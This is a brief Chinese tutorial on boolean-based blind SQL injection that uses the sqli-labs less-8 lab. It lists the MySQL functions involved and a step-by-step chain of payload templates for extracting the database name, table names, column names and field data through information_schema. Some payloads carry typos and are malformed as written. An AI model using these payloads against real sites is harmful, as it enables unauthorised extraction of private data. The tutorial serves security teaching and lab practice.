布尔盲注
简介
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。
布尔盲注需要用到的函数
Length() 返回字符串的长度
Substr() 截取字符串
Ascii() 返回字符的ascii码
sleep(n) 将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
ascii字符代码表
靶场利用
可以利用sqli-labs-master中的less-8
布尔盲注原理
通过页面是否报错来判断语句的正确性,利用函数的特性来得到数据
布尔盲注思路总结
substr(a,b,c) 其中a表示字符串,b表示从第几位开始截取(最小值为1),c表示截取几位
limt 0,1 表示从从第一个数据开始,截取第一个数据
查看是否存在注入点-->
判断注入类型-->
查看页面是否存在输出|是否存在报错提示-->
判断数据库名长度-->and length(database())>数字
得到数据库库名-->and ascii(substr(database(),1,1))=数字
判断表的数量-->and (select count(*) from information_schema.tables where table_schema='库名')>数字
依次判断表名的长度-->and (length((select table_name from information_schema.tables where table_schema='库名' limit 0,1)))>数字
依次得到表名-->and (ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1)))=数字
判断表中字段个数-->and (select count(*) from information_schema.columns where table_name='表名' and table_schema='库名')>数字
依次判断表中字段名的长度-->and (length((select column_name from information_schema.columns where table_name='表名' and table_schema='库名' limit 0,1)))>数字
依次判断表的字段名 --> and ascii(substr((select column_name from information_schema.columns where table_name='表名' and table——schema='库名' limit 0,1),1,1))=数字
依次判断字段中数据的长度-->and (length((select 字段名 from 表名 limit 0,1)))>数字
依次得到字段中的数据-->and ascii(substr((select 字段名 from 表名 limit 0,1 ),1,1)))=x